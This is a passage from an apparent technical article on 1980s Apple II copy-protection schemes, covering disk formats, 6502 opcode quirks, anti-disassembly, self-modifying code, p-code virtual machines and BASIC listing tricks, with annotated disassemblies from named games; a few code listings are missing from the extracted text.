across the tracks.

The Toy Shop uses this technique. It reads three consecutive
quarter-tracks in RWTS18 format, and verifies that they all fully
readable and have a valid checksum. This is possible only because they
are identical in their content and position. The contents of the last
quarter-track are used to boot the program. A funny thing occurs when
the program is converted to a NIB image: the protection is defeated
transparently, because NIB images do not support partial tracks, so the
attempt to read consecutive quarter-tracks will always return identical
data, exactly as the protection requires!

Pinball Construction Set uses this technique. It reads a sector then
activates a phase to advance the head, and then proceeds to read a
sector while the head is moving. The head continues to drift over the
track while the sector is being read. After reading the sector, the
program deactivates the phase, reads another sector, and then
completes the move to the next track. Once there, it reads a sector. It
activates a phase to retreat the head, and then performs the same trick
in reverse, until the start of the track is reached again. It performs this
sequence four times across those two tracks, which makes the drive hiss.
The program is able to read the sector as continuous data because the
disk has consecutive quarter-tracks that are identical in their content
and position.

Cross-talk

While cross-talk is normally something to be avoided, it can serve as a
copy-protection mechanism, by intentionally allowing it to occur. It



manifests itself in a manner similar to the effect of having excessive
consecutive zero-bits being present in the stream, where reading the
same stream repeatedly will yield different values. The lack of such an
effect indicates the presence of a copy.

More tracks

Many disk drives had the ability to seek beyond track 34, and many
disks also carried more than 35 tracks. However, since DOS could not
rely on the presence of either of these things, it did not offer support
for them. Some copy programs did not support the copying of
additional tracks for the same reason. Of course, programmers who did
not use DOS had no such limitation. While the actual number of
available tracks could vary up to 40 or even 42, it was fairly safe to
assume that at least one track existed, and could be read by direct use of
the disk drive.

Faial uses this technique to place data on track 35.

SpiraDisc

No description of copy-protection techniques could be complete
without including SpiraDisc. This program was a protection
technology that introduced the idea of spiral tracking, though the
implementation is not spiral tracking as we would describe it today. It
is, in fact, a precise placement of multiple sectors on quarter-tracks,
such that there is no cross-talk while reading them, but without a
specific order. The major deviation from the current idea of spiral
tracking is that there is no synchronization of the sectors beyond
avoiding cross-talk. The program will allow a complete rotation of the
disk to occur, if necessary, while searching for the required sector.

The first-stage boot loader is a single sector that is 4-and-4
encoded, 768 bytes long. The second stage loader is composed of ten
regular sectors that are 6-and-2 encoded. They are read one by one—
there is no read-scattering here to speed up the process. Thereafter,
reads use an alternative nibble table—all of the values from #$A9-FF from



our first table. These values might have been chosen because they
provide the least sparse array when used as indexes.

The encoding is not 6-and-2, either; it is 6-and-0 encoding. This
requires 344 bytes per sector, instead of the regular 342 bytes. The
decoder overwrites the addresses $xxAA and $xxAB twice in order to
compensate for the additional bytes, as the program supports only
page-aligned reads. The decoding is interleaved, so there is no
denibbilisation pass.

The 6-and-0 encoding works by using the six-bit nibble as an
alternating index into one of the arrays of six-bit or two-bit values. The
code is both much faster (no fetching of the two-bit array) and much
smaller (two-thirds of the size) than the one described in Race
Conditions,(§10:7.2) but the decoding tables occupy 1.5kb of memory.
The memory layout might have been chosen to avoid a timing penalty
due to page-crossing accesses. However, the penalty has no effect on the
performance of the routine because the code must still spend time
waiting for the bytes to arrive from disk. Therefore, the tables could
have been combined into a 512-byte region instead, which is a closer
match to the memory usage of the routine described in Race
Conditions.

A SpiraDisc-protected disk uses four sectors per track, but since the
track stepping is quartered, the data density is equivalent to a single 16-
sector track. Each sector has a unique prologue value to identify itself.
When a read is requested, if a sector cannot be found on the current
track, then the program advances the drive head by one quarter-track,
and then attempts the read again. If the read fails again, then the
program retreats the drive head by one quarter-track, and then
attempts the read again. If the read still fails, then the program retreats
the drive head by another quarter-track, and then attempts the read
again. If the read fails at this point, then the disk is considered to be
corrupted.

Given the behaviour of the read request, the data might not be
stored on consecutive quarter-tracks. Instead, they might zigzag across
a span of up to three quarter-tracks. This is another deviation from the



idea of spiral tracking. By coincidence, the movement is very similar to
the one in the program Captain Goodnight and other Brøderbund
titles.

Copying a SpiraDisc-protected disk is difficult because of the
potential for cross-talk which would corrupt the sectors when they are
read back. However, images produced by an E.D.D. card will work in
emulators, if the copy parameters are set correctly.

When run, the program decodes selected pages of itself, based on an
array of flags, and also re-encodes those pages after use, to prevent
dumping from memory. The decoding is simply an exclusive-OR of
each byte with the value #$AC, exclusive-ORed with the index within the
page.

At start-up, the program profiles the system: scanning the slot
device space, and records the location of devices for which the first 17
bytes are constant (that is, they return the same value when read more
than once), and which do not have eight bytes that match the first one
within those 17 bytes. For example, Mockingboard has memory-
mapped I/O space in that region, which are mostly zeroes. The
program calculates and stores a checksum for slot devices which pass
this check. The store was supposed to happen only if the checksum did
not match certain values, but the comparison is made against a
copyright string instead of an array of checksums. The first time
around, all values are accepted. During subsequent profiling, the value
must match exactly.

The program checks if bank one is writable, after attempting to
write-enable it, and sets a flag based on the result. The program
checksums the F8 and F0 ROM BIOS codes, watches for particular
checksums, and sets flags based on the result. The original version of
the program (as seen in 1981, used on the program Jawbreaker) actually
required that the ROM BIOS code match particular checksums—either
the original Apple ][ or the Apple ][+—otherwise the program simply
wiped memory and rebooted. (This prevented protected programs
from running on the Apple ][e or the Apple ][c.) The no-doubt
numerous compatibility problems that resulted from this decision led



to the final check being discarded (as seen in 1983, used on the program
Maze Craze Construction Set, but quite possibly even earlier), though
the rest of the profiling remains. However, having even one popular
title that didn’t work on more modern machines was probably
sufficient to turn publishers entirely off the use of the program.

The program probes all of memory by writing a zero to every
second byte. However, it skips pages #0, #2, #4-7, and #$A8-C0, meaning that
it writes data to all slot devices, with unpredictable results. The
program also re-profiles the system upon receiving each request to read
tracks. This re-profiling is intended to defeat memory dumps that are
produced by NMI cards, and which are then transferred to another
machine, as the second machine might have different hardware options.

The program also checksums the boot PROM prior to disk reads,
and requires that it matches one particular checksum—that of the Disk
][ system—otherwise the program wipes memory and reboots. (This
prevents protected programs from running on the Apple ][GS.)

Interestingly, despite all of the checks of the environment, the
program does not protect itself against tampering, other than using
encoded pages. The memory layout is data on pages #$A8-B1, and code
on pages #$B2-BF. The data pages are very sparse, leaving plenty of room
for a boot tracer to intercept execution and disable protections.

The program uses a quarter-track stepping algorithm that activates
two phases, and then deactivates only one of them. According to
Roland Gustafsson, this stepping technique allows for more precise
positioning of the drive head, but it does not work on Rana drives. It
was for this reason that he used the reduced-delay technique instead.
The reduced-delay technique is apparently the only one which works
on an Apple ][c, as well. SpiraDisc predated the Apple ][c by about two
years, so it was just bad luck that an incompatible technique was
chosen.

10:7.4 Illegal opcodes



The 6502 CPU has 151 documented instructions. There are quite a few
additional instruction encodings for which the results could be
considered useful, if the side-effects (e.g. memory and/or register
corruption, or long execution time) were also acceptable. In some cases,
the instructions were used to obfuscate the meaning of the code, since
they would not be disassembled correctly. Some of these instructions
were replaced in the 65C02 CPU with new instructions with different
behaviors, and without the unfortunate side-effects. In some cases, the
code that used the new instructions was not affected because the results
of the old instructions were discarded, and the documented
replacement did not introduce especially unwanted behavior. Note that
the instructions that were not replaced will cause the 65C02 CPU to
hang.

The Datasoft version of the program Dig Dug uses this technique.
It begins with an instruction which used to behave as a two-byte NOP,
but which is now a zero-page STZ instruction. Since the program does
not make use of the zero-page at that time, the store has no side-effects.
It looks like this in 6502 mode:



In 65C02 mode, the same machine code interpreted differently.

Beer Run uses this technique, but was unfortunate enough to
choose an instruction which was not defined on the 65C02 CPU, so the
program does not work on a modern machine. The code is run with
the carry set much earlier in the flow, as a side-effect of executing a
routine in the ROM BIOS. It is possible that the authors were not even
aware of the fact.



which, when executed, does this:

X is zero, so $00 is first incremented to #$01, and then subtracted
from A. A is zero before the subtraction, so it becomes #$FF. The
resulting #$FF is used as a key to decipher some values later.

10:7.5 CPU bugs!

The original 6502 CPU had a bug where an indirect JMP (xxFF) could be
directed to an unexpected location because the MSB will be fetched
from address xx00 instead of page xx+1. Randamn relies on this behavior
to perform a misdirection, by placing a dummy value at offset zero in
page xx+1, and the real value at address xx00.

While not a bug, but perhaps an undocumented feature—the
breakpoint bit is always set in the status register image that is placed on
the stack by the PHP instruction. Lady Tut relies on this behavior to
derive a decryption key.

There is also a class of alternative behaviours between the 6502 and
the 65C02 CPUs, particularly regarding the Decimal flag. For
example, the following sequence will yield different values between the



two CPUs: $1B on a 6502, and $0B on a 65C02. These days, it would be
used as an emulator detection method. Try it in your favorite emulator
to see what happens.

10:7.6 Magic stack values

One way to obfuscate the code flow is through the use of indirect
transfers of control. Rescue At Rigel fills the stack entirely with the
sequence #$12 #$11 #$10, and then performs an RTI without setting the
stack pointer to a constant value. Of course, it works reliably.

Since there are only three values in the sequence, there should be
only three cases to consider. If the stack pointer were #$F6 at the time of
executing the RTI instruction, then this causes the value #$12 and $1011 to
be fetched from $1F7. If the stack pointer were #$F7 at the time of
executing the RTI instruction, then this causes the value #$11 and $1210 to
be fetched from $1F8. If the stack pointer were #$F8 at the time of
executing the RTI instruction, then this causes the value #$10 and $1112 to
be fetched from $1F9. The program has an RTS instruction at the first
and last of those locations. That yields two more cases to consider. The
RTS at $1011 transfers control to $1112+1. The RTS at $1112 transfers control to
$1210+1. That leaves one more case to consider. The program has an RTS
instruction at $1113. The RTS at $1113 transfers control to $1211. So, both
$1210 and $1211 are reachable this way. Both addresses contain a NOP
instruction, to allow the code to fall through to the real entrypoint.

Note the phase “there should be.” There is one special case. The
remainder of 256 divided by three is one. What is in that one byte? It’s
the value #$10. So the first and last byte of the stack page is #$10,
introducing an additional case. If the stack pointer were #$FD at the time
of executing the RTI instruction, then this causes the value #$11 and $1010



to be fetched from $1FE. The program has an RTS instruction at $1010. The
RTS at $1010 transfers control to $1112+1. The RTS at $1113 transfers control to
$1211.

That’s not all! We can construct an even longer chain. If the stack
pointer were #$F9 at the time of executing the RTI instruction, then this
causes the value #$12 and $1011 to be fetched from $1FA. The RTS at $1011
transfers control to $1112+1, but the RTS at $1113 causes the stack pointer to
wrap around. The CPU fetches both #$10 values, so the RTS at $1113
transfers control to $1010+1. The RTS at $1011 transfers control again to
$1112+1. The RTS at $1113 finally transfers control to $1211.

Championship Lode Runner has a smaller chain. It uses only two
values on the stack: $3FF and $400. An RTS transfers control to $3FF+1. The
program has an RTS at $400. The RTS at $400 transfers control to $400+1, the
real entrypoint.

10:7.7 Obfuscation

Anti-disassembly

This technique is intended to prevent casual reading of the code—that
is, static analysis, and specifically targeting linear-sweep disassemblers
—by inserting dummy opcodes into the stream, and using branch
instructions to pass over them. At the time, recursive-descent
disassembly was not common, so the technique was extremely effective.

Wings of Fury uses this technique, even for its system detection.
The initial disassembly follows, with undocumented instructions such
as RLA.

9600    ORA     (0,X)
9602    LDY     #$10
9604    BPL     $9616
9606    RLA     ($10,X)
9608    NOP
960A    BEQ     $95AC
960C    NOP
960E    STY     $84
9610    STY     $18



9612    CLC
9613    CLC
9614    BNE     $961C
9616    CLC
9617    CLC
9618    BNE     $960B
961A    SRE     ($51),Y
961C    STY     $C009
961F    STX     $20,Y
9621    ORA     ($10),Y
9623    CPX     $84
9625    STA     $C008
9628    BEQ     $9672
962A    LDA     $C088,X
962D    ORA     ($18),Y
962F    ORA     ($10),Y
9631    ASL
9632    LDX     #$27
9634    ASL
9635    ASL
9636    LDY     #$10
9638    BPL     $9630
963A    BRK
963B    JMP     $93BD
963E    TYA
963F    STA     $400,X
9642    BNE     $964C
9644    BRK

Upon closer examination, we see the branch instruction at $9604 is
unconditional, because the value in the Y register is positive. That leads
to the branch at $9618. This branch is also unconditional, because the
value in the Y register is not zero. That takes us into the middle of an
instruction at $960B, and requires a second round disassembly:

;store #$64 at $84
960B    LDY    #$64
960D    STY    $84
;four dummy instructions
960F    STY    $84
9611    CLC
9612    CLC



9613    CLC
;unconditional branch
;because Y is not zero
9614    BNE    $961C
...
;switch to auxiliary memory
;bank, if available
961C    STY    $C009
;store alternative value
;at $84 ($20+#$64=$84)
961F    STX    $20,Y
;dummy instruction
9621    ORA    ($10),Y
;compare the two values
;(differ in 64kb environment)
9623    CPX    $84
;switch to main memory bank
9625    STA    $C008
;branch if 128kb memory exists
9628    BEQ    $9672
;turn off the drive
962A    LDA    $C088,X
;dummy instruction
962D    ORA    ($18),Y
;dummy ins masks real ins
962F    ORA    ($10),Y
;dummy ins in first pass
;opcode param in second pass
9631    ASL
;length of error message
9632    LDX    #$27
;two dummy instructions
9634    ASL
9635    ASL
9636    LDY    #$10
;unconditional branch
;because Y is positive
9638    BPL    $9630
963A    BRK
963B    JMP    $93BD
963E    TYA
963F    STA    $400,X
9642    BNE    $964C
9644    BRK



A third round disassembly:

;unconditional branch
;because Y is positive
9630    BPL    $963C
...
;message text
963C    LDA    $9893,X
;write to the screen
963F    STA    $400,X

;unconditional branch
;because A is not zero
9642    BNE    $964C

The obfuscated code only gets worse from there, but the intention
is clear already.

Self-modifying code

As the name implies, this technique relies on the ability of code to
modify itself at runtime, and to have the modified version executed. A
common use of the technique is to improve performance by updating
an address with a loop during a memory copy, for example. However,
from the point of view of copy-protection, the most common use is to
change the code flow, or to act as a light encoding layer. Self-modifying
code can be used to interfere with debuggers, because a breakpoint that
is placed on the modified instruction might be overwritten directly,
thus removing it, and resulting in uncontrolled execution; or turned
into an entirely unrelated (and possibly meaningless or even harmful)
instruction, with unpredictable results.



Aquatron hides its protection check this way. The initial
disassembly looks like this, complete with undocumented instructions
such as ISB:

9600    DEC    $9603
9603    ISB    $9603
9606    LDA    $9628
9609    E0R    #$C9
960B    BNE    $960E
960D    JSR    $288D
9610    STX    $18,Y
9612    BNE    $9615
9614    JMP    $29A0
9617    TYA
9618    BCC    $961B
961A    JSR    $59
961D    STX    $99,Y
961F    BRK
9620    STX    $C8,Y
9622    BNE    $9617
9624    TYA
9625    BPL    $9628
9627    JMP    $2960

Upon closer examination, we see references to instructions at
“hidden” offsets, and of course, the direct modification of the
instruction at $9603.

Second round disassembly:

9600    DEC    $9603
;-> INC $9603
;undo self-modification
9603    ISB    $9603
9606    LDA    $9628
9609    E0R    #$C9
;unconditional branch
;because A is not zero
960B    BNE    $960E
960D    .BYTE  $20
;replace instruction below
960E    STA    $9628
9611    CLC
;unconditional branch
;because A is not zero
9612    BNE    $9615
9614    .BYTE  $4C



9615    LDY    #$29
9617    TYA
9618    BCC    $961B
961A    .BYTE  $20
;decode and store
961B    E0R    $9600,Y
961E    STA    $9600,Y
9621    INY
9622    BNE    $9617
9624    TYA
;unconditional branch
;because Y is positive
9625    BPL    $9628
9627    .BYTE  $4C
;self-modified by $960E to
;$A9 on first pass, restored
;to $60 on second pass
9628    RTS
;decoded by $961B-9620 on
;first pass, re-encoded on
;second pass
9629    .BYTE  $29

Now we can see the decryption routine. It decodes the bytes at
$9629-96FF, which contained a check for a sector with special format. If
the checked passes, then the routine at $9600 is run again, which reverses
the changes that had been made — the bytes at $9629-96FF are encoded
again, and the routine exits via the RTS instruction at $9628.

Self-overwriting code

When self-modification is taken to the extreme, the result is self-
overwriting code. There, the RWTS routine reads sector data over
itself, in order to change the execution behavior, and potentially
remove user-defined modifications such as breakpoints or detours.
LifeSaver uses this technique. The loader enters a loop which has no
apparent exit condition. Instead, the last sector to be read from disk
contains an identical copy of the loader code, except for the last
instruction which branches to a new location upon completion. When
combined with a critically timing-dependent technique, such as
reading a sector while the head is moving, it becomes extremely
difficult to defeat.



Encryption and compression

Encryption (or, more correctly, enciphering) of code was a popular
technique, but the keys were always very weak. The enciphering usually
consisted of an exclusive-OR of the byte with a fixed key. In some cases,
the key was a rolling value taken from the byte just deciphered. In some
rarer cases, multiple keys were used.

Goonies uses a rotate operation. However, since the 6502 CPU
does not have a plain rotate instruction—only rotate with carry — the
program must set the carry bit correctly prior to the operation. The
program does it this way:

Compression of graphics was necessary to reduce the size of the
data on disk, and to decrease load times, since the reduced disk access
more than made up for the time spent to decompress the graphics. The
most common compression technique was Run-Length Encoding
(RLE), using a stream derived from every second horizontal byte, or
vertical columns. More advanced compression, such as something
based on Lempel-Ziv, was generally considered to be too slow to use.

Perhaps based on the assumption that LZ-based compression was
too slow, compression of code seems to have been entirely absent until

recently—all of my releases use my decompressor for aPLib,55 for an
almost exact or even slightly reduced load time, which shows that the



previous assumption was quite wrong. Others have had success with my

decompressor for LZ456 when used for graphics. A more recent LZ4-

based project is also showing promise.57

10:7.8 Virtual machines

One of the most powerful forms of obfuscation is the virtual machine.
Instead of readable assembly language that we can recognise, the virtual
machine code replaces instructions with bytes whose meaning might
depend on the parameters that follow them. Electronic Arts were
famous for their use of pseudo-code (p-code) to hide the protection
routines in programs such as Archon and Last Gladiator. That virtual
machine was even ported to the Commodore 64 platform.

Last Gladiator uses a top-level virtual machine that has 17
instructions. The instructions look like this:

00    JMP
01    CALL NATIVE
02    BEQ
03    LDA IMM
04    LDA ABSOLUTE
05    JSR
06    STA ABSOLUTE
07    SBC IMM
08    JMP NATIVE
09    RTS
;p-code A register
0A    LDA ABSOLUTE, A
0B    ASL
0C    INC ABSOLUTE
0D    ADC ABSOLUTE
0E    X0R ABSOLUTE
0F    BNE
10    SBC ABSOLUTE
11    MOVS

It has the ability to transfer control into 6502 routines, via the
instructions that I named “call native” and “jmp native.” The
parameters to the instructions were XORed with different values to make
the disassembly even more difficult. Since the virtual machine could



read arbitrary memory, it was used to access the soft-switches, in order
to turn the drive on and off. Once past the first virtual machine, the
program ran a second one. The second virtual machine is interesting
for one particular reason. While it looks identical to the first one, it’s
not exactly the same. For one thing, there are only thirteen
instructions. For another, two of them have swapped places:

These two engines were not the only ones that Electronic Arts used,
either. Hard Hat Mack uses a version that had twelve instructions.

00    JMP
01    CALL NATIVE
02    BEQ
03    LDA IMM
04    LDA ABSOLUTE
05    JSR
06    STA ABSOLUTE
07    SBC IMM
08    JMP NATIVE
09    RTS

;p-code A register
0A    LDA ABSOLUTE, A
0B    ASL

Following that virtual machine was yet another variation. This one
has only eleven instructions. Nine of the instructions are identical in
value to the previous virtual machine. The differences are that “ASL” is
missing, and the “LDA ABSOLUTE, A” instruction is now “INC ABSOLUTE.”

However, in between those two virtual machines was an entirely
different virtual machine. It is a stack-based engine that uses function
pointers instead of byte-code. It looks like this, if you’ll forgive handler
address in place of names I wasn’t able to identify.

9DF2    .WORD xsave_retpc
9DF4    .WORD xpush_imm



9DF6    .WORD $95FF
9DF8    .WORD xpush_imm
9DFA    .WORD $A600
9DFC    .WORD xchkstk_vars
9DFE    .WORD xbeq_rel
9E00    .WORD 4
9E02    .WORD xdo_copy_prot
9E04    .WORD xjmp_retpc

This virtual machine is Forth. Amnesia, including its copy-
protection (What You Know style), was written entirely in Forth. The
Toy Shop used another virtual machine, which combined byte-code
and function pointers, depending on which function was called, and all
mixed freely with native code. Its identity is not known.

Of course, the most famous of all virtual machines is the one inside
Pascal, an ancestor of Delphi that was very widely used in the eighties.
Wizardry is perhaps the most well-known Pascal program on the Apple
][ system, and the Pascal virtual machine made it a simple task to port
the program to other platforms. The advantage of a virtual machine is
that only the interpreter must be ported, rather than the entire system.
Since the language is much higher-level than assembly language, it also
allows for a faster development time. It also makes de-protecting a
program much harder.

10:7.9 ROM regions

The Apple ][ ROM BIOS is full of little routines whose intention is
clear, but whose meaning can be changed depending on the context.
That leads into an interesting area of obfuscation and indirection. For
our first example, there is a routine to save the register contents. It is
used by the ROM BIOS code when a breakpoint occurs. It has the side-
effect of returning the status register in the A register. That allows a
program to replace the instruction pair PHP; PLA with the instruction JSR
$FF4A for the same primary effect (it has the side-effect of altering several
memory locations), but one byte larger.



For our second example, there is a routine to clear the primary text
screen. Since the Apple ][ has a text and graphics mode that share the
same memory region, there is one routine for clearing the screen while
in text mode, and another for clearing the screen while in graphics
mode. However, it is possible to use the graphics routine to clear the
screen even while in text mode. That allows a program to replace JSR
$FC58 with JSR $F832 for the same major effect. (It has the side-effect of
altering several memory locations.)

For our third example, there is a routine to compare two regions of
memory. It is used primarily to ensure that memory is functioning
correctly. However, it can also be used to detect alterations that as
those produced by a user attempting to patch a program. All that is
required is to set the parameters correctly, like this:

LDA    #> beghi
STA    $3D
LDA    #< beglo
STA    $3C
LDA    #> endhi
STA    $3F
LDA    #< endlo
STA    $3E
LDA    #> cmphi
STA    $43
LDA    #< cmplo
STA    $42
JSR    $FE36

For our fourth example, there is an RTS instruction at a known
location. A jump to this instruction will simply return. It is usually
used to determine the value of the Program Counter. However, it can
just as easily be used to hide a transfer of control, taking into account
that the destination address must be one less than the true value, like
this to jump to $200:

LDA    #$01
PHA
LDA    #$FF
PHA
JMP    $FF58



And so on. The first three examples are taken from Lady Tut,
though in the third example, the parameters are also set in an
obfuscated way, using shifts, increments, and constants. The fourth is
taken from Mr. Do!.

10:7.10 Sensitive memory locations

There are certain regions in memory, in which modifications can be
made which will cause intentional side-effects. The side-effects include
code-destruction when viewed, or automatic execution in response to
any typed input, among other things. The zero-page is a rich source of
targets, because it is shared by so many things.

The most commonly altered regions follow.

Scroll window



When the monitor is active, the scrollable region of the screen can be
adjusted to allow “fixed” rows and/or columns. The four locations, left
($20), width ($21), top ($22), and bottom ($23) can also be adjusted. A
program can protect itself from debugging attempts by altering these
values to make a very small window, or even to cause overlapping
regions that will cause memory corruption if scrolling occurs!

I/O vectors

There are two I/O vectors in the Apple ][, one for output—CSW ($36-37),
and one for input—KSW ($38-39). CSW is invoked whenever the ROM
BIOS routine COUT is called to display text. KSW is invoked
whenever the ROM BIOS routine RDKEY is called to wait for user
input. Both of these vectors are hooked by DOS in order to intercept
commands that are typed at the prompt. Both of these vectors are often
forcibly restored to their default values to unhook debuggers. They are
sometimes altered to point to disk access routines, to prevent user
interaction. Championship Lode Runner uses the hooks for disk access
routines in order to load the level data from the disk.

Monitor

The monitor prompt allows a user to view and alter memory, and
execute subroutines. It uses several zero-page addresses in order to do
this. Anything that is stored in those locations ($31, $34-35, $3A-43, $45-49)
will be lost when the monitor becomes active. In addition, the monitor
uses the ROM BIOS routine RDKEY. RDKEY provides a pseudo-
random number generator, by measuring the time between keypresses.
It stores that time in $4E-4F.

Falcons uses address $31 to hold the rolling checksum, and checks if
$47 is constant after initialising it.

Classmate uses addresses $31 and $4E to hold two of the data field
prologue bytes.

The “LOCK” mystery



There is a special memory location in Applesoft ($D6) which is named
the “AppleSoft Mystery Parameter” in What’s Where In The Apple. It
is also named “LOCK” in the Applesoft Internals disassembly, which
gives a better idea of its purpose. When set to #$80, all Applesoft
commands are interpreted as meaning “RUN.” This prevents any user
interaction at the Applesoft prompt. Tycoon uses this technique.

Stack

The stack is a single 256-byte page ($100-1FF) in the Apple ][. Since the
standard Apple ][ environment does not have any source of interrupts,
the stack can be considered to be a well-defined memory region.

This means that code and data can be placed on the stack, and run
from there, without regard to the value of the stack pointer, and
modifications will not occur unexpectedly. (The effect on the stack of
subroutine calling is an expected modification.) If an interrupt
occurred, then the CPU would save the program counter and status
register on the stack, thus corrupting the code or data that existed
below the current stack pointer. (The corruption can even be above the
stack pointer, if the stack pointer value is low enough that it wraps
around!) Correspondingly, any user interaction that occurs, such as
breaking to the prompt, will cause corruption of the code or data that
exist below the current stack pointer. Choplifter uses this technique.

Stack pointer

Since the standard Apple ][ environment does not have any source of
interrupts, the stack pointer can be considered to be a register with
well-defined value. This means that its value remains under program
control at all times and that it can even be used as a general-purpose
register, provided that the effect on the stack pointer of subroutine
calling is expected by the program. Beer Run uses this technique.

LifeSaver also uses this technique for the purpose of obfuscating a
transfer of control—the program checksums the pages of memory that
were read in, and then uses the result as the new stack pointer, just



prior to executing a “return from subroutine” instruction. Any
alteration to the data, such as the insertion of breakpoints or detours,
results in a different checksum and unpredictable behavior.

Input buffer

The input buffer is a single 256-byte page ($200-2FF) in the Apple ][. Code
and data can be placed in the input buffer, and run from there.
However, anything that the user types at the prompt, and which is
routed through the ROM BIOS routine GETLN ($FD6A), will be written to
the input buffer. Any user interaction that occurs, such as breaking to
the prompt, will cause corruption of the code in the input buffer.
Karateka uses this technique.

Primary text screen

The primary text screen is a set of four 256-byte pages ($400-7FF) in the
Apple ][. Code and data can be placed in the text screen memory, and
run from there. The visible screen was usually switched to a blank
graphics screen prior to that occurring, to avoid visibly displaying
garbage, and perhaps causing the user to think that the program was
malfunctioning. Obviously, any user interaction that occurs through
the ROM BIOS routines, such as breaking to the prompt and typing
commands, will cause corruption of the code in the text screen. Joust
uses this technique to hold essential data.

Non-maskable interrupt vector

When a non-maskable interrupt (NMI) occurs, the Apple ][ saves the
status register and program counter onto the stack, reads the vector at
$FFFA-FFFB, and then starts executing from the specified address. The
ROM BIOS handler immediately transfers control to the code at $3FB-
3FD, which is usually a jump instruction to the complete NMI handler.
For programs that were very heavily protected, such that inserting
breakpoints was difficult because of hooked CSW and KSW vectors,
for example, one alternative was to “glitch” the system by using a NMI



card to force a NMI to occur. However, that technique required direct
access to memory in order to install the jump instruction at $3FB-3FD,
since the standard ROM BIOS does not place one there.

On a 64kb Apple ][, the ROM BIOS could be copied into banked
memory and made writable. The BIOS NMI vector could then be
changed directly, potentially bypassing the user-defined NMI vector
completely.

Reset vector

On a cold start, and whenever the user presses Ctrl-Reset, the Apple ][
reads the vector at $FFFC-FFFD, and then starts executing from the specified
address. If the Apple ][ is configured with an Autostart ROM, then the
warm-start vector at $3F2-3F3 is used, if the “power-up” byte at $3F4

matched the exclusive-OR of #$A5 with the value at $3F3.58 The values at
$3F2-3F4 are always writable, allowing a program to protect itself against
a user pressing Ctrl-Reset in order to gain access to the monitor
prompt, and then saving the contents of memory. The typical protected
program response to Ctrl-Reset was to erase all of memory and then
reboot.

On a 64kb Apple ][, the ROM can be copied into banked memory
and made writable. When the user presses Ctrl-Reset on an Apple ][+,
the ROM BIOS is not banked in first, meaning that the cold-start reset
vector can be changed directly, and will be used, potentially bypassing
the warm-start reset vector completely. On an Apple ][e or later, the
ROM BIOS is banked in first, meaning that the modified BIOS cold-
start reset vector will never be executed, and so the warm-start reset
vector cannot be overridden.

Interrupt request vector

Despite not having a source of interrupts in the default configuration,
the Apple ][ did offer support for handling them. When an interrupt
request (IRQ) occurs, the Apple ][ saves the status register and program
counter onto the stack, reads the vector at $FFFE-FFFF, and then starts



executing from the specified address. However, there is also a special
case IRQ, which is triggered by the BRK instruction.

This instruction is a single-byte breakpoint instruction, and is
intended for debugging purposes. The ROM BIOS handler checks the
source of the interrupt, and transfers control to the vector at $3FE-3FF if
the source was an external interrupt. On the Autostart ROM, the ROM
BIOS handler transfers control to the vector at $3F0-3F1 if the source was

a breakpoint.59 The values at $3F0-3F1, and $3FE-3FF are always writable,
allowing a program to protect itself against a user inserting breakpoints
in order to break when execution reaches the specified address. The
typical protected program response to breakpoints was to erase all of
memory and then reboot. An alternative protection is to point $3F0-3F1
to another BRK instruction, to produce an infinite loop and hang the
machine. Bank Street Writer III uses this technique.

On a 64kb Apple ][, the ROM BIOS can be copied into banked
memory and made writable. The BIOS IRQ vector can then be
changed directly, potentially bypassing the user-defined IRQ vector
completely.

10:7.11 Catalog tricks

Control-"Break"

On a regular DOS disk, there is a sector called the Volume Table Of
Contents (VTOC), which describes the starting location (track and
sector) of the catalog, among other things. The catalog sectors contain
the list on the disk of files which are accessible by DOS. For a file-based
program, apart from the DOS and the catalog-related structures, all
other content is accessible through the files listed in the catalog. DOS
knows the track which holds the VTOC, since the track number
(usually #$11) is hard-coded in DOS itself, and sector zero is assumed
to be the one that holds the VTOC.

Since the files are listable, they can also be loaded from the original
disk, and then saved to a copy of the disk. One way to prevent that is to



insert control-characters in the filenames. Since control-characters are
not visible from the DOS prompt, any attempt to load a file, using the
name exactly as it appears, will fail.

Classmate uses this technique. It is also possible to embed
backspace characters into the filename. Filenames with backspace
characters in them cannot be loaded from the prompt. Instead, a Basic
program must be written with printable characters as placeholders, and
then the memory image must be altered to replace them with
backspace characters.

Now you see it

Since the VTOC also carries the sector of the catalog, it can be altered
to point to another location within the track that holds the VTOC.
That causes the disk to display a fake catalog, while allowing a program
to access the real catalog sectors directly.

The Toy Shop uses this technique to show the program title,
copyright, and author credits.

Now you don’t

Since DOS carries a hard-coded track number for the VTOC, it is easy
to patch DOS to look at a different track entirely. The original default
track can then be used for data. Any attempt to show the catalog from a
regular DOS disk will display garbage.

Ali Baba uses this technique, by moving the entire catalog track to
track five.

10:7.12 BASIC tricks

Circular Line linking

In BASIC on the Apple ][, each line contains a reference to the next line
to list. As such, several interesting effects are possible. For example, the
listing can be made circular, by pointing to a previous line, causing an



infinite loop of listing. The simplest example of that looks like this:
801:01 08 00 00 3A 00 00 00

This program contains one line whose line number is zero, and
whose content is a single colon. An attempt to list this program will
show an infinite number of “0 :” lines. However it can be executed
without issue.

Missing

The listing can be forced to skip lines, by pointing to a line that
appears after the next line, like this:
801:10 08 00 00 3A 00 10 08 01 00 BA 22

80D:31 22 00 16 08 02 00 3A 00 00 00

Listing the program will show just two lines:

However, there is a second line (numbered “one”) which contains a
PRINT statement. Running the program will display the text in line one.

Out-of-order

The listing can list lines in an order that does not match the execution,
for example, backwards:
801:13 08 03 00 BA 22 30 22 00 1C 08 01 00 BA 22

810:31 22 00 0A 08 03 00 BA 22 32 22 00 00 00

This program contains three lines, numbered from zero to two.
The list will show the second and third lines in reverse order. The
illusion is completed by altering the line number of the first line to a
value larger than the other lines. However, the execution of the first
line first cannot be altered in this way.

Out-of-bounds



The listing can even be forced to fetch from arbitrary memory, such as
the graphics screen or the memory-mapped I/O space:
801:55 CO 00 00 3A 00 00 00

This program contains a single line whose line number is zero, and
whose content is a single colon. An attempt to list this program will
cause the second text screen to be displayed instead, and the machine
will appear to crash. Further misdirection is possible by placing an
entirely different program at an alternative location, which will be
listed instead.

Imagine the feeling when the drive light turns itself on while the
program is being listed!

It might even be possible to create a program with lines that touch
the memory-mapped I/O space, and activate or deactivate a stepper-
motor phase. If those lines were listed in a specific order, then the drive
could be enticed to move to a different track. That track could lie
about its position on the disk, but carry alternative content to the
proper track, resulting in perhaps subtly different behavior. Are we
having fun yet?

Start address

The first line of code to execute can be altered dynamically at runtime,
by a “POKE 103, <low addr>” and/or “POKE 104, <high addr>”, followed by a RUN
command. Math Blaster uses this technique.

Line address

Normally, the execution will generally proceed linearly through the
program (excluding instructions that legally transfer control, such as
